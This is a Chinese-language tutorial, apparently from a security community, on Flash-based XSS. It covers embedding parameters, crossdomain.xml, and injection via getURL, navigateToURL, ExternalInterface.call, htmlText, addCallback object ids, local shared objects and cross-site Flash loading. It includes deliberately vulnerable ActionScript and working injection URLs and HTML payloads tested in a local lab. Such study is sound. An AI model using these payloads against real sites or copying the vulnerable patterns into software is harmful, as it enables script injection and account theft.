常见Flash XSS攻击方式

0x01 HTML中嵌入FLASH


在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed标签object标签,使用如下的代码进行嵌入:

IE下嵌入

  1. <object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
  2. <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
  3. <param name="allowScriptAccess" value="always" />
  4. <param name="allowNetworking" value="all" />
  5. </object>

非IE下嵌入

  1. <object type="application/x-shockwave-Flash" data="./trace.swf">
  2. <param name="movie" value = "./trace.swf" />
  3. <param name="allowScriptAccess" value="always" />
  4. <param name="allowNetworking" value="all" />
  5. </object>

在插入Flash的过程中有两个重要的参数,allowScriptAccessallowNetworking两个参数:

allowScriptAccess:控制html页面与Flash页面的通讯
alwayshtmlFlash页面的通讯不做任何的限制;
  • samedomainhtmlFlash同域的时候可以做通讯【这个值是默认值】;
  • neverhtmlFlash禁止通讯。
  • allowNetworking:控制Flash与外部的网络通讯
    1. allFlash所有的网络API通讯接口都可用;
    2. internalnavigateToURLfscommandExternalInterface.call不可用;
    3. none:所有的网络API不可用。

    以chrome浏览器为例来验证以上参数,首先在本地搭建环境,并且新建一个Flash文件,Flash文件包括的内容主要是使用ExternalInterface.call执行力一个js语句,弹出当前域的域名。

    1):插入本地的Flash文件。

    1. <object type="application/x-shockwave-Flash" data="./trace.swf">
    2. <param name="movie" value = "./trace.swf" />
    3. <param name="allowScriptAccess" value="always" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    运行结果:

    2):插入本地的Flash,将allowScriptAccess参数改为samedomain。

    1. <object type="application/x-shockwave-Flash" data="./trace.swf">
    2. <param name="movie" value = "./trace.swf" />
    3. <param name="allowScriptAccess" value="samedomain" />
    4. <param name="allowNetworking" value="all" />

    运行结果:

    Html界面与Flash属于同域,因此能够弹出。

    3):插入本地Flash,将allowScriptAccess改为never

    1. <object type="application/x-shockwave-Flash" data="./trace.swf">
    2. <param name="movie" value = "./trace.swf" />
    3. <param name="allowScriptAccess" value="never" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    运行结果没有弹出。

    4):插入远程Flash,将allowScriptAccess改为always

    1. <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
    2. <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
    3. <param name="allowScriptAccess" value="always" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    运行结果:

    注意这里弹出的域为当前html的域名,非Flash的域。<是在本地执行了远程swf中的js脚本>

    5):插入远程Flash,将allowScriptAccess改为samedomain

    1. <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
    2. <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
    3. <param name="allowScriptAccess" value="samedomain" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    运行结果没有弹出,因为Flash的域不和html在同一域内

    6):插入远程Flash,将allowScriptAccess改为never

    1. <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
    2. <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
    3. <param name="allowScriptAccess" value="never" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    运行结果没有弹出,由于禁止了与html界面通讯。

    7)将allowScriptAccess置为always,将allowNetworking置为internal

    1. <object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
    2. <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
    3. <param name="allowScriptAccess" value="always" />
    4. <param name="allowNetworking" value="internal" />

    运行结果没有弹出,allowNetworking的参数置为internal,禁止了接口ExternalInterface.all

    0x02 Flash跨域请求


    Flash跨域访问的时候主要受到crossdomain.xml文件的影响。crossdomain.xml文件严格遵循xml语法,主要作用就 是当被Flash请求到本域资源的时候,是否允许请求。 例如: www.evil.com中嵌入一个Flash,Flash跨域请求www.q.com下的资源,此时会先查看www.q.com目录下的 crossdomain.xml文件,查看是否允许evil.com域Flash请求本域的资源。 crossdomain.xml文件主要包含如下几个节点:

    site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from

    常用的节点为allow-access-from,用来指明允许本域资源允许被哪些域名的Flash跨域请求。

    例如下面为优酷的crossdomain.xml文件:

    1. <cross-domain-policy>
    2. <allow-access-from domain="*.youku.com"/> //允许youku.com域名的Flash访问
    3. <allow-access-from domain="*.ykimg.com"/>
    4. <allow-access-from domain="*.tudou.com"/>
    5. <allow-access-from domain="*.tudouui.com"/>
    6. <allow-access-from domain="*.tdimg.com"/>
    7. </cross-domain-policy>

    Ps.这个文件常常被用到Flash csrf中,当allow-access-from domain被设置为*后,可能存在Flash csrf的风险。<flash可以发起GET/POST请求>

    0x03 常见Flash xss分类总结


    Flash缺陷参数-getURL

    Flash提供相关的函数,可以执行js代码,getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call。 在wooyun中搜索到了一个相关实例:

    WooYun: 久游网FLASH安全问题深入分析与利用(一)

    本着学习的原则本地搭建实践了下: 本地新建了个Flash,Flash调用外部资源xml文件。 Flash代码:

    1. var root_xml:XML = new XML();
    2. root_xml.ignoreWhite = true;
    3. root_xml.onLoad = function(success){
    4. if(success){
    5. getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)
    6. }else{
    7. getURL("javascript:alert(‘fail’)")
    8. }
    9. }
    10. root_xml.load(_root.url);

    xml文件:

    1. <?xml version="1.0" encoding="utf-8" ?>
    2. <data>
    3. <link>javascript:alert('xss')</link>
    4. </data>

    运行结果:

    Ps.此类问题一般可以使用google搜索xml文件被swf调用的情况传入的内容如果没做过滤,很可能出现此类问题。

    Flash缺陷参数-navigateToURL


    上例中getURL()为AS2中的方法,在AS3中使用的是navigateToURL,wooyun中上报过此参数导致Flash xss的实例。

    WooYun: [腾讯实例教程] 那些年我们一起学XSS - 14. Flash Xss入门 [navigateToURL]

    此类问题原理一般是由于调用了的资源文件(如xml)可被攻击者控制,导致了Flash xss。

    本着学习的原则,本地搭建实践了下: Flash文件:

    1. var url:String = stage.loaderInfo.parameters.url
    2. var req:URLRequest = new URLRequest("a.xml");
    3. var ld:URLLoader = new URLLoader();
    4. ld.addEventListener(Event.COMPLETE ,ok);
    5. function ok(evtObj:Event):void {
    6. if(ld.data){
    7. navigateToURL(new URLRequest(url),'_self')
    8. } else {
    9. }
    10. }
    11. ld.load(req)

    大致意思就是从外部获取了一个参数,通过navigateToURL调用。

    运行结果:

    Flash缺陷参数-ExternalInterface.call(参数一)<函数名,控制函数>

    ExternalInterface.call同样是一个Flash提供的可以执行js的接口函数, ExternalInterface.call函数有两个参数,形如ExternalInterface.call("函数名","参数1")

    Flash最后执行的JS代码如下:

    1. try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

    此段先考虑参数1,即函数名。

    Wooyun上相关的实例有:

    WooYun: [腾讯实例教程] 那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

    WooYun: Flash应用安全系列[1]--360反射型跨站

    这两篇都写的很详细。

    本着学习的原则,本地搭建实践了下: Flash文件:

    1. var a:String = root.loaderInfo.parameters.func
    2. if(ExternalInterface.available){
    3. ExternalInterface.call(a)
    4. } else {
    5. trace(100)
    6. }
    7. stop()

    从外部获取参数func,使用ExternalInterface.call接收第一个参数,执行。

    对比:

    1. try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

    创建url:

    http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
    

    这样实际执行的js代码为:

    1. try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }
    2. http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//
    3. try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }

    预期结果应该是第一个url执行之后弹出数字1,第二个url执行之后弹出数字100。 访问

    http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
    

    访问

    http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//<错误时执行后面的>
    

    和预期结果一样。

    Flash缺陷参数-ExternalInterface.call(参数二)<函数的参数>

    有时候当反编译swf之后,会发现可控的参数的输出位置在ExternalInterface.call函数的第二个参数,方法和思路与第一个参数的时候类似。

    Wooyun里面相关的例子:

    WooYun: [腾讯实例教程] 那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

    WooYun: Flash应用安全系列[3]--WordPress反射型跨站(0day)

    Flash文件:

    1. var a:String = root.loaderInfo.parameters.par
    2. if(ExternalInterface.available){
    3. ExternalInterface.call("alert",a)
    4. } else {
    5. trace(100)
    6. }
    7. stop()

    Flash文件中的a是从外部获取的参数,此处外部获取的参数par赋值给了a,作为输出点输出到了ExternalInterface的第二个参 数的位置,此处相对于第一个参数的不同之处是,此处的输出点在引号中,因此此处我们需要把引号闭合掉。根据上面文章,可以发现闭合引号使用的方法是\"这样会被转义为\”,”就被吃掉了

    根据ExternalInterface.call的调用原型:

    1. try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

    我们将参数输入如下的url:

    http://192.168.4.70/ExternalInterface_second.swf?par=1111\%22),al)}catch(e){alert(1000)}//
    

    分析应该执行如下:

    1. try{
    2. __Flash__toXML(alert(“1111\\”),al
    3. }
    4. catch(e){
    5. alert(1000)
    6. }

    如此下来应该就会弹出两个框,一个为1111\,另外一个为1000。 运行结果,弹出1111\:

    点击确定,弹出1000:

    Ps. 此处ExternalInterface.call调用的函数名,编写Flash的时候设置了alert,因此此处会弹两次,一般情况下,函数名是不能够被控制,这样我们使得,前面的函数执行异常,执行catch中的js即可

    Flash缺陷参数-htmlText

    Flash支持在Flash里内嵌html,支持的标签img标签,a标签等img标签可以通过src参数引入一个Flash文件,类似与XSF一样。

    WooYun: Flash应用安全系列[6]--新浪微博蠕虫威胁

    文档写的很详细,推荐阅读。 本着学习的原则,本地创建了Flash文件,

    1. import fl.controls.TextArea;
    2. var a:String = root.loaderInfo.parameters.url
    3. var t:TextArea = new TextArea()
    4. t.width = 500
    5. t.height = 300
    6. t.htmlText += a
    7. addChild(t)

    从获取URL中的参数url,赋值给a,变量a直接输出到了Textarea t中。 访问如下url:

    http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E
    

    访问结果如下:

    Ps.当反编译Flash文件,发现htmltext输出点的时候,可以查看相关是否存在相关的可控的输入,可能存在xss。 Flash缺陷参数object的id可控 html与swf通讯的时候,使用的是ExternalInterface.addCallback函数,调用如下:

    1. function a(){
    2. trace(“hi”);
    3. }
    4. ExternalInterface.addCallback(“test”,a);

    执行了函数之后,在html上可以通过使用函数名test来调用Flash中的函数a

    addCallback的原理:

    1. if ((((activeX == true)) && (!((objectID == null))))){
    2. _evalJS((((("__Flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
    3. };

    objectID为Flash的id,functionName为函数名称,因此当我们插入的Flash的id可控的时候,可能会出现xss问题。

    Wooyun上已经出现的类似问题:

    WooYun: [腾讯实例教程] 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

    WooYun: Flash应用安全系列[4]--Flash Player的又一个0day

    WooYun: QQ空间某功能缺陷导致日志存储型XSS - 12

    本着学习的原则,本地创建了Flash文件,

    1. function a(){
    2. trace("hi")
    3. }
    4. ExternalInterface.addCallback("test",a)

    x.html页面

    1. <object id="addcallback,"),(function(){if(!window.x){window.x=1;alert(1)}})(),("" codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
    2. <param name="movie" value = "./addCallback.swf" />
    3. <param name="allowScriptAccess" value="always" />
    4. <param name="allowNetworking" value="all" />
    5. </object>

    访问该界面(IE8下测试):

    Flash缺陷参数addcallback与lso结合

    这个问题出现的点在addCallback声明的函数,在被html界面js执行之后的返回值攻击者可控,导致了xss问题。使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。

    Wooyun实例链接:

    WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门)

    WooYun: 一个flash的0day导致的淘宝网存储xss 【续集】

    WooYun: 一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示)

    WooYun: 我是如何实现批量种植rootkit窃取阿里云账号密码的

    drops下相关资料:

    一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示)

    本着学习的原则,本地创建了Flash文件,

    1. function setlso(_arg1:String):Boolean{
    2. var _local2:SharedObject = SharedObject.getLocal("kj");
    3. _local2.data.key = _arg1;
    4. _local2.flush();
    5. return (true);
    6. }
    7. function getlso():String{
    8. var _local1:SharedObject = SharedObject.getLocal("kj");
    9. if(_local1.data.key == undefined){
    10. return ("");
    11. }
    12. return (_local1.data.key);
    13. }
    14. ExternalInterface.addCallback("getlso",getlso)
    15. ExternalInterface.addCallback("setlso",setlso)

    x.html

    1. <html>
    2. <head></head>
    3. <body>
    4. <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/addCallback_lso.swf">
    5. <param name="movie" value = "http://192.168.4.70/addCallback_lso.swf" />
    6. <param name="allowScriptAccess" value="always" />
    7. <param name="allowNetworking" value="all" />
    8. </object>
    9. <script>
    10. function set(){
    11. document["lso"].setlso('aa\\";alert(document.domain);//aa');
    12. }
    13. function get(){
    14. document["lso"].getlso();
    15. }
    16. setTimeout("get()",5000)
    17. setTimeout("get()",7000)
    18. </script>
    19. </body>
    20. </html>

    运行结果:

    跨站Flash

    跨站Flash即XSF,通过AS加载第三方的Flash文件,如果这个第三方Flash可以被控制,就可以实现XSF。 在AS2中使用loadMove函数等加载第三方Flash。

    1. _root.loadMovie(swf);

    在AS3中使用Loader类进行外部数据处理:

    1. var param:Object = root.loaderInfo.parameters;
    2. var swf:String = param[“swf”];
    3. var myLoader:Loader = new Loader();
    4. var url:URLRequest = new URLRequest(swf);
    5. myLoader.load(url);
    6. addChild(myLoader);

    wooyun上实例:

    WooYun: sina微薄存储型跨站

    WooYun: sina微博存储型跨站Ⅱ

    WooYun: sina微博存储型跨站Ⅲ

    WooYun: 百度贴吧存储型XSS - Flash又中枪了~~

    本地搭建环境,新建Flash:

    1. var param:Object = root.loaderInfo.parameters;
    2. var swf:String = param["swf"];
    3. var myLoader:Loader = new Loader();
    4. var url:URLRequest = new URLRequest(swf);
    5. myLoader.load(url);
    6. addChild(myLoader);

    新建本地html文件:

    1. <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/xsf.swf">
    2. <param name="movie" value = "http://192.168.4.70/xsf.swf" />
    3. <param name="allowScriptAccess" value="always" />
    4. <param name="allowNetworking" value="all" />
    5. <param name="Flashvars" value="swf=http://xxxxx.sinaapp.com/trace.swf"
    6. </object>

    运行结果,加载了远程有缺陷的swf文件导致了xsf。

    其他

    1:addCallback返回值从其他地方获取。

    WooYun: QQ空间某功能缺陷导致日志存储型XSS - 14

    2:利用上传文件如xx.swf修改为xx.jpg获得上传目标域下的swf。

    WooYun: Flash应用安全系列[5]--QQ邮箱永久劫持漏洞

    WooYun: 腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)

    drops相关链接:

    上传文件的陷阱